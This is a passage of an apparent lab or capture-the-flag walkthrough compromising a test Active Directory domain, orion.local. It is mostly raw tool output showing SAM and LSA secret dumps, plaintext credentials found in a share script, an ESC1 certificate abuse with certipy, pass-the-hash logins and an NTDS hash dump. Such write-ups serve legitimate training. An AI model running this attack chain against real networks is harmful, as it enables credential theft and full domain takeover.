SMB         10.0.0.6        445    WS-IT            Administrator:500:aad3b435b51404eeaad3b435b51404ee:85e526dd34a65ff1f09b5cc6f42afb17:::
SMB         10.0.0.6        445    WS-IT            Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.0.6        445    WS-IT            DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.0.6        445    WS-IT            WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7490f2a63d713a813eda5bf8fd1a8227:::
SMB         10.0.0.6        445    WS-IT            [+] Added 4 SAM hashes to the database
SMB         10.0.0.6        445    WS-IT            [*] Dumping LSA secrets
SMB         10.0.0.6        445    WS-IT            ORION.LOCAL/b.williams:$DCC2$10240#b.williams#eacaf3e781a51de8321d3cca7f384da7: (2026-10-17 11:22:11)
SMB         10.0.0.6        445    WS-IT            ORION\WS-IT$:aes256-cts-hmac-sha1-96:923c82c6fa26193837499592ace5280d4a1756803c9f5d0469b332e3203755bd
SMB         10.0.0.6        445    WS-IT            ORION\WS-IT$:aes128-cts-hmac-sha1-96:f6f39416250613b883faf18bdbf53f4b
SMB         10.0.0.6        445    WS-IT            ORION\WS-IT$:des-cbc-md5:0d195bc868317989
SMB         10.0.0.6        445    WS-IT            ORION\WS-IT$:plain_password_hex:740022003c00420051004b0052007a0026005900440071002c006900400023007a003b0045003e0024002400390069005600240052005e0053003300480048004e0025006d002000680034002100320043002f005700540073006000460020005e004a0047004f002d003a006b0034005100700052004d00490029004a003e004c006c00230048005f0024007400580022002100260071005b007a003c0038006a005b00430063006c005b004300380021002d004c00520047005e004d0026004700240079002e0038003a0046004400490024005b003a00290052004600510069004600730026007500260055006800
SMB         10.0.0.6        445    WS-IT            ORION\WS-IT$:aad3b435b51404eeaad3b435b51404ee:6a80ba525d843918e27bc48eef2f4320:::
SMB         10.0.0.6        445    WS-IT            ORION\b.williams:williams123
SMB         10.0.0.6        445    WS-IT            dpapi_machinekey:0x9b415e17d600773493585c753ea2afc585f90988
dpapi_userkey:0xce9070458bf44cea14dee29b612a52c511047bd4
SMB         10.0.0.6        445    WS-IT            M$MachineBoundCertificate:760000000100000003030000030300000000000017000000640000000100000001010000010000004c5e6ef314e87a0f6c5626b232da626d2d8c18a9f5f3bccffce2fbe4adf64ed4f66ed92fda36e0385966304ce10276830100000000000000000000000000000001000000880200004c736149736f4173796d6d65747269634b6579426c6f62c1ab59d1bad9cc5f0ec057dfc919d401730bcedd67fb235306c3e149eb10d6f7b784baa61ee16737ae4d1b79cc47761d0e2af6a1c7a24b5a0f549de02aec42e754ac5a66e25201ca804c1d625723c6cb1920a1398044d4a5d1bbefe72b38a970c57e5603e6c8385789b7717d7159bbc9669d16638061eaf682ddee14861fbdee0292a912094374ab0484168e3163abdb323520ac278464d7ac452a7b78c1b09ccba2e0334cba9b84c6772adfe6adeac795ed8edc8112727fbfe0e6882fe72be02533692d2be73a423084bc8f265ba4cc0c9af39838e9fcbf0f8d2cd65c44d419b1af7ed8a156097f0ac4b3e068e4b08d338b90b460029009599256d03ec7635b15851fe228ee9a2f0e1420ed41dce72495bdfa1375430fb50831ca882015bbad22ce5585a0c26eea11ffad091bdb38ded860e44cebd6bcbb1b50edf530a8a94401a940b6a5e12a5a6beadd6c587dc7e3d7337e05654edf57792b1bcc65242518da63368c780cd6534f538f1e58f741276062403044482169b80577dd25861a551d4bba78bcae4ae8b051e25253951aa6b5bdfb0fd312c249d9a106f614b5067b858d91be98811dc8a4ec4451e15b38a5e0d8362ec6e31b6e377685375ebe036eb54dbad9c8cc1f652e97abbc90b9e0b8eb62c52bd8e3100cae2e8590ca1763c96aa3001e9e7c720407b204696cc3c1d73b907d859ff58b9433c847bd56fb5404cd3399a8b79b7aba6f3cfe084d94e9689ccb89b891a0058aa2356e45eeee4fd0fd12d32a60a5c973198d5d0eae5b601374d588e6baebf0ed8eb0f0cdc5a49462c45e52969963e155afefc923406fefe8a728d3720a606d5452904ed510f350bf66dc4fdf10ad7c7b734408cfb24c2e1515a742e158b11935b234e5fb952d0d05e2380044d4ca7d5d2000000001000000a5020000308202a130820189a003020102020101300d06092a864886f70d01010b050030133111300f06035504030c08434e3d57532d49543020170d3236313030333136313634305a180f32313236303930393136313634305a30133111300f06035504030c08434e3d57532d495430820122300d06092a864886f70d01010105000382010f003082010a0282010100ccdf6787ea7d98869d8bc80769df6c97ba5859a15992636c4670c1e81b2f08afd6aee4886e7689fc2ab378782b50193bb9eba8ce5d255c1abcb26337a0ba9d09147a285a2c09d8736df4a7f3a7bd1ce22de068e6b71203da07803a73f52e3d389bae65b34df7f48de2d71fc45d4a4f78e281684b7e923f15eafcde31fb4464ba99234b7819bd746f38897ab91e99b9342e9412d56170d15af8090b1b825bb08e9ba36ec6b23fc3dc5d01440aa8d6a1fb0ba6e17cd3ce7d2506f62a417bc195accece625c4711b63a70c700e256467ce0bc5272438d05af150fb0b40ef1823a35a9c79f72c08d9c7a297388bf609fbdc188b4a2c622f806a05216afbd7840a3dd0203010001300d06092a864886f70d01010b05000382010100c2332b98463b63184e60e178e0491060ef429f6b05868f1de7342bb3344e075ad519d29ee0f34e2c04a1deff9b1252b351fe360f67f2c947c89ccb8bd0d20d65a1b2bec666bc4beb4ac8b328e594fb255dc7511e568222aa1779c4a6b06c67035515ea01215f66cef9a339c8f995f21e65a167bd4bbc1ae7e78dca5be52b76df225c2a40752201d0c413b566547176b9e5a1a068ba2c93b7b67b59fa94a14c7511e18343d7cae1e393d92bf5a7e5154531c1a67532a5f502e3f8d1c7ffff50fb6962b10e73e6da8e6879260af3a110dc49cfb906828f51f9de86aad59d7d364157af7b6f91722c6a46819d0519683fa9cb390d68e25369f354289267a16fccae
SMB         10.0.0.6        445    WS-IT            [+] Dumped 9 LSA secrets to /home/kali/.nxc/logs/lsa/WS-IT_10.0.0.6_2026-10-17_100150.secrets and /home/kali/.nxc/logs/lsa/WS-IT_10.0.0.6_2026-10-17_100150.cached
SMB         10.0.0.6        445    WS-IT            [*] Collecting DPAPI masterkeys, grab a coffee and be patient...
SMB         10.0.0.6        445    WS-IT            [+] Got 21 decrypted masterkeys. Looting secrets...
SMB         10.0.0.6        445    WS-IT            [-] No dpapi loot retrieved

Nothing.

SMB - IT Folder

└─$ smbclient '//10.0.0.6/IT' -U 'orion.local/m.reeves%Pa$$word!123' -c 'prompt OFF; recurse ON; mget *'
getting file \Docs\IT_Policy_Password_Reset.pdf of size 4260 as Docs/IT_Policy_Password_Reset.pdf (7.0 KiloBytes/sec) (average 7.0 KiloBytes/sec)
getting file \Logs\crl-publish.log of size 279 as Logs/crl-publish.log (0.5 KiloBytes/sec) (average 3.7 KiloBytes/sec)
getting file \Scripts\Check-DiskSpace.ps1 of size 1005 as Scripts/Check-DiskSpace.ps1 (1.6 KiloBytes/sec) (average 3.0 KiloBytes/sec)
getting file \Scripts\Cleanup-TempFiles.ps1 of size 1321 as Scripts/Cleanup-TempFiles.ps1 (2.2 KiloBytes/sec) (average 2.8 KiloBytes/sec)
getting file \Scripts\Publish-CRL.ps1 of size 1759 as Scripts/Publish-CRL.ps1 (2.9 KiloBytes/sec) (average 2.8 KiloBytes/sec)
getting file \Tools\Autologon.exe of size 341072 as Tools/Autologon.exe (317.8 KiloBytes/sec) (average 85.0 KiloBytes/sec)
getting file \Tools\ntrights.exe of size 32256 as Tools/ntrights.exe (51.7 KiloBytes/sec) (average 80.6 KiloBytes/sec)

└─$ cat Scripts/Publish-CRL.ps1
<#
.SYNOPSIS
    Scheduled maintenance task for Orion Corp PKI.
    Publishes the latest CRL and verifies CA service health.

.NOTES
    Author:   IT Operations
    Contact:  it-ops@orion.local
    Schedule: Daily 02:00 via Task Scheduler on DC01
    Account:  svc-pki (dedicated PKI service account)
#>

# --- Service account credentials (used to connect to the CA) ---
$caUser = "ORION\svc-pki"
$caPass = ConvertTo-SecureString 'Pki@Orion2026!' -AsPlainText -Force

'''

Compromised `svc-pki`

svc-pki : Pki@Orion2026!

└─$ nxc smb 10.0.0.5 -u 'svc-pki' -p 'Pki@Orion2026!'
SMB         10.0.0.5        445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.0.0.5        445    DC01             [+] orion.local\svc-pki:Pki@Orion2026!

Screenshot

─$ certipy find -u 'svc-pki@orion.local' -p 'Pki@Orion2026!' -dc-ip 10.0.0.5 -vulnerable -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 19 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'orion-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'orion-DC01-CA'
[*] Checking web enrollment for CA 'orion-DC01-CA' @ 'DC01.orion.local'
76 collapsed lines
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : orion-DC01-CA
    DNS Name                            : DC01.orion.local
    Certificate Subject                 : CN=orion-DC01-CA, DC=orion, DC=local
    Certificate Serial Number           : 10CEC7AA2F7D31AD4064CBA0BF227013
    Certificate Validity Start          : 2026-10-03 16:25:15+00:00
    Certificate Validity End            : 2031-10-03 16:35:14+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : ORION.LOCAL\Administrators
      Access Rights
        ManageCa                        : ORION.LOCAL\Administrators
                                          ORION.LOCAL\Domain Admins
                                          ORION.LOCAL\Enterprise Admins
        ManageCertificates              : ORION.LOCAL\Administrators
                                          ORION.LOCAL\Domain Admins
                                          ORION.LOCAL\Enterprise Admins
        Enroll                          : ORION.LOCAL\Authenticated Users
Certificate Templates
  0
    Template Name                       : OrionAuth
    Display Name                        : OrionAuth
    Certificate Authorities             : orion-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 5 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2026-10-06T15:42:14+00:00
    Template Last Modified              : 2026-10-06T15:43:10+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : ORION.LOCAL\svc-pki
                                          ORION.LOCAL\Domain Admins
                                          ORION.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : ORION.LOCAL\Administrator
        Full Control Principals         : ORION.LOCAL\Domain Admins
                                          ORION.LOCAL\Enterprise Admins
        Write Owner Principals          : ORION.LOCAL\Domain Admins
                                          ORION.LOCAL\Enterprise Admins
        Write Dacl Principals           : ORION.LOCAL\Domain Admins
                                          ORION.LOCAL\Enterprise Admins
        Write Property Enroll           : ORION.LOCAL\Domain Admins
                                          ORION.LOCAL\Enterprise Admins
    [+] User Enrollable Principals      : ORION.LOCAL\svc-pki
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

ESC1 confirmed.

└─$ export PKIPASS='Pki@Orion2026!'
└─$ certipy req -u 'svc-pki@orion.local' -p "$PKIPASS" -dc-ip 10.0.0.5 -target DC01.orion.local -ca 'orion-DC01-CA' -template 'OrionAuth' -upn 'administrator@orion.local' -sid 'S-1-5-21-285037524-3800758587-3641439792-500'
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 45
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@orion.local'
[*] Certificate object SID is 'S-1-5-21-285037524-3800758587-3641439792-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

└─$ certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@orion.local'
[*]     SAN URL SID: 'S-1-5-21-285037524-3800758587-3641439792-500'
[*]     Security Extension SID: 'S-1-5-21-285037524-3800758587-3641439792-500'
[*] Using principal: 'administrator@orion.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@orion.local': aad3b435b51404eeaad3b435b51404ee:54c9fa5ad8849c9414602fe021314d49

Compromised `administrator`

└─$ nxc smb 10.0.0.5 -u 'administrator' -H '54c9fa5ad8849c9414602fe021314d49'
SMB         10.0.0.5        445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.0.0.5        445    DC01             [+] orion.local\administrator:54c9fa5ad8849c9414602fe021314d49 (Pwn3d!)

┌──(kali㉿kali)-[~/Desktop]
└─$ evil-winrm -i 10.0.0.5 -u Administrator -H '54c9fa5ad8849c9414602fe021314d49'

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt

FLAG[REDACTED]

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣶⡎⠉⠀⠙⢧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠿⠉⠀⠀⠀⠀⠀⠈⢳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡤⣿⠛⠶⠤⠀⠀⠀⠀⠀⠀⠀⠀⠈⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣥⣈⠉⠒⠦⣄⠀⣀⠀⠀⠀⠀⠀⠀⠸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠛⠓⠲⣄⠈⠳⡌⠳⡀⠀⠀⠀⢸⣷⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⡇⠀⠀⠈⠳⡀⠈⢦⡹⡀⠀⠀⢸⠃⢧⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⠟⢳⣤⠀⢻⡿⣆⠀⢳⡗⠀⠀⡼⠀⢸⡆⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣷⣤⡟⠀⠀⠈⠛⣆⠀⢷⠀⠀⡇⠀⠨⢧⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣧⣠⠀⠀⠀⠘⣆⠈⠃⣰⠁⠀⠄⠸⣦⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣷⡄⠀⠀⠀⠸⡅⢀⡏⠀⠀⠀⢠⠏⠱⣄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣷⣤⣠⠖⢻⠁⡼⠀⠀⢀⡴⠋⠀⠀⠈⢦⡀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡟⠉⢻⡻⣿⣿⣿⢧⣠⢏⣾⣡⠤⠚⣏⠀⠀⠀⠀⠀⠀⠉⠣⡄⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡞⡿⠁⢠⢿⣿⢿⣿⡿⠋⣿⡏⠉⠀⠀⠀⣹⡞⠁⠀⠀⠀⠀⠀⠀⢸⡀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⣆⡴⡟⢸⢸⢰⡄⠀⠀⣹⢱⠀⠀⠀⢰⢿⡄⠀⠀⠀⠀⠀⠀⠀⠀⢧
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣽⠃⣿⠀⠃⢸⢸⠘⡇⠀⠀⣿⢸⠀⠀⠀⠃⠀⢧⡄⢀⡴⠃⠀⠀⠀⠀⠘
⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⢿⡧⣿⠀⠀⡸⣾⠀⡇⠀⠀⣯⡏⠀⠀⠀⠀⠀⣸⡷⣫⣴⠀⠀⠀⢀⠂⢀
⠘⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣇⠀⠀⣿⠀⠀⡇⣿⠰⠇⠀⣸⢻⠇⠀⠀⠀⠀⢰⠿⠞⣫⢞⡠⠀⢀⠂⠀⢸
⠀⠘⣿⣿⣿⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡾⣏⠻⣦⣤⣿⠀⠀⢧⡇⠀⠀⠀⢹⣾⠀⠀⠀⠀⢠⡏⣠⣼⣋⣉⣀⣴⣁⣀⣀⡎
⠀⠀⠈⢿⣿⣿⣿⣿⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣷⡌⠙⠺⢭⡿⠀⠀⠸⠆⠀⠀⠀⢸⣿⡀⠀⠀⠀⡟⢀⡧⣄⣠⣠⣤⣤⣤⣀⣈⡇
⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠿⠃⠀⠈⠢⠐⢤⣧⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⣼⠁⡼⠉⠛⠒⠒⠒⠒⠶⠶⢿⠁
⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⢀⣤⣛⡛⠛⢢⠀⠀⢠⠈⢪⣻⡇⠀⠀⠀⠀⠀⠀⠐⠃⠀⠀⢰⠏⢸⡧⠤⠤⠤⢤⣀⣀⡀⠀⡾⠀
⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⣀⣀⠤⠴⠒⠚⣩⠽⣿⠖⠋⠉⠀⠀⣦⠈⣧⠀⠈⣳⣼⡿⠛⠀⠀⠀⠀⠀⠀⠀⢀⡤⠴⠞⠀⣿⠓⠢⠤⠤⠤⠤⣌⣉⣻⡇⠀
⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣭⣭⣶⣦⣤⣶⠋⢡⣴⠇⢀⣴⡦⠀⣠⢿⣤⣿⡴⠒⢹⣏⣀⠀⠀⢀⣀⣀⠀⠀⢀⣠⣄⢀⣤⣾⡯⡀⠀⠉⠒⠒⠤⢤⣭⣽⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⢠⣻⠃⡴⠛⢁⣴⡯⠇⠀⠀⠈⠉⠉⠉⢹⡍⠉⠉⠙⣷⠈⢻⠉⠻⠀⠘⣟⠻⠀⡉⠁⠀⠀⠀⠀⠀⠀⣠⣿⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣮⣵⢰⣧⣞⣶⡿⢋⣡⠔⠚⣀⡀⠀⠀⠀⠀⢨⠇⠀⠀⠀⢹⠀⠈⠁⠀⠀⠀⠿⠀⠀⠈⠓⠶⠄⠀⠐⣲⡾⠋⡿⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣾⡿⢿⣿⢎⢠⠟⡠⣾⠟⢋⡠⠤⠤⢤⠤⠾⠤⠤⣤⢤⡼⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡴⠞⠁⢀⣴⠇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣿⣿⣿⡙⠻⣿⣿⣿⣿⣝⡋⣮⣴⣞⣥⡄⠀⠀⢀⣀⡤⠴⠚⠛⠪⣟⡧⢤⣄⣠⣄⡐⠦⣤⣤⣤⠴⠚⠉⠀⠀⠀⣾⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⣿⣿⣿⡄⠈⠙⢿⣿⣿⣿⣿⠟⠋⣁⣤⠴⠚⠉⠁⠀⠀⠀⠀⠀⠀⠉⠲⢤⡀⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⢿⣿⡄⠀⠀⢙⣹⣷⠶⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⠦⣄⠀⠀⠀⠀⠀⠀⠀⠰⢚⡇⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠿⡾⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠂⠀⠀⠀⠀⠀⠈⠛⠃⠀⠀

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-secretsdump -hashes ':54c9fa5ad8849c9414602fe021314d49' 'orion.local/administrator@10.0.0.5'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0xd7ea048a1be27b4ee38ec1d8a53a439a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d5a7b66fa3f248a77854a9e8244bcbe3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
ORION\DC01$:aes256-cts-hmac-sha1-96:2a6a2af6e642b9d966cc64656d48efb9663f9a59c4fc48d3e05aab2d333058fb
ORION\DC01$:aes128-cts-hmac-sha1-96:0c0193a6084830dbb63b6c8548db1c71
ORION\DC01$:des-cbc-md5:a1b37a68c73ebae9
90 collapsed lines
ORION\DC01$:plain_password_hex:7d36b524de009b7be3d7042ab7242e7b68b3904a7b126fc6d02f74bc35c226b716073b8e5f709dd66e790cb32804d700b5b4e2c35bf6d2bd49031c506c6159f0793995957f5b5a6a9c0f1fdde36cb7a20fbe4f627200c7b95160cc0069fc7c9dcd6540944476d889c4ba8dbf0766ff118106a2716cc5831fed36a20f6c6692db8c548b0cec269c9ef4d08b25669cdad38e3abdd74b88a9148d1d0eda0cbebf7bdab33ecc6f24058f91c3f965410c858106bf5cecfb3a3ee68aada81e2db662aa30e3e66da58c69bcaf9c223c7f833335a2f7e7a10bb8970357e23b24169dea621aad5da5d8577566215e4cb302cfd6cf
ORION\DC01$:aad3b435b51404eeaad3b435b51404ee:41ae6a24bb81ff72eb9404b3d6d51488:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x36186dca4c9c4da6f19f2364d5f3be239b72d9aa
dpapi_userkey:0x335845900a7cc5d4dd5361e23bc7855ef24aaed8
[*] NL$KM
 0000   D6 F9 1E BE 20 95 21 6A  88 22 1F 5C 92 CE 2C 8A   .... .!j.".\..,.
 0010   BB CF 2C 38 59 53 A4 3A  EF A0 03 DA EA A5 A8 CF   ..,8YS.:........
 0020   0E 6F 91 92 02 3E 5B 45  40 E2 C7 A8 D5 DA 8B 11   .o...>[E@.......
 0030   6D 77 6B 5F 3F 78 48 12  0F BF A8 CE 06 C2 C6 7C   mwk_?xH........|
NL$KM:d6f91ebe2095216a88221f5c92ce2c8abbcf2c385953a43aefa003daeaa5a8cf0e6f9192023e5b4540e2c7a8d5da8b116d776b5f3f7848120fbfa8ce06c2c67c
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:54c9fa5ad8849c9414602fe021314d49:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:78b40366ffa63a7ebfa3b1a565b1dee8:::
orion.local\b.williams:1103:aad3b435b51404eeaad3b435b51404ee:002a720a0c5ff7eaef06aba90d6cbbbb:::
